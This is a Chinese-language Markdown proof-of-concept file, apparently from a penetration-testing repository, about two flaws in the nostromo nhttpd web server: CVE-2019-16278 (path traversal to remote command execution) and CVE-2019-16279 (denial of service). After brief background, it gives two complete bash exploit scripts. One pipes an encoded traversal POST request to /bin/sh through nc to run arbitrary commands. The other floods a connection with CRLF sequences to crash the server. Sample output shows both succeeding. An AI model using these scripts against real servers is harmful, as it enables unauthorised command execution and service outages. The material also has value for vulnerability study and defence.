Penetration_Testing_POC/CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md

55 lines
2.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

## CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd
## 0x1.nostromo nhttpd简介
nostromo nhttpd是一款简单快速的开源Web服务器其作者是来自瑞士tiefen Boden 7的马库斯·格洛克Marcus Glocker
## 0x2.漏洞来源
10月14日来自hackthebox名人堂第290名精英黑客sp0re公布了 nostromo nhttpd 1.9.6目前最新版算是0day吧及之前版本中的http_verify函数存在路径遍历漏洞CVE-2019-16278和拒绝服务攻击DosCVE-2019-16279 。
## 0x3.漏洞详情
CVE-2019-16278漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素攻击者可利用该漏洞访问受限目录之外的位置而且这个漏洞是因为 对CVE-2011-0751漏洞的未完全修复导致攻击者可以利用类似 /../ 的路径格式绕过限制从而通过 /bin/sh 来执行任意参数,即命令执行。
例如:
```shell
$ ./CVE-2019-16278.sh 127.0.0.1 8080 id
uid=1001(sp0re) gid=1001(sp0re) groups=1001(sp0re)
```
而CVE-2019-16279是在当攻击者在单连接中发送大量的 \r\n 就会导致 nhttpd 出现内存错误,从而导致决绝服务。
例如:
```shell
$ curl http://127.0.0.1:8080
HELLO!
$ ./CVE-2019-16279.sh 127.0.0.1 8080
$ curl http://127.0.0.1:8080
curl: (7) Failed to connect to 127.0.0.1 port 8080: Connection refused
```
## 0x4.漏洞相关脚本
`CVE-2019-16278.sh`
```shell
#!/usr/bin/env bash
HOST="$1"
PORT="$2"
shift 2
( \
echo -n -e 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\n'; \
echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \
echo "$@ 2>&1" \
) | nc "$HOST" "$PORT" \
| sed --quiet --expression ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'
```
`CVE-2019-16279.sh`
```shell
#!/usr/bin/env bash
HOST="$1"
PORT="$2"
echo -n -e '\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n' | nc "$HOST" "$PORT"
```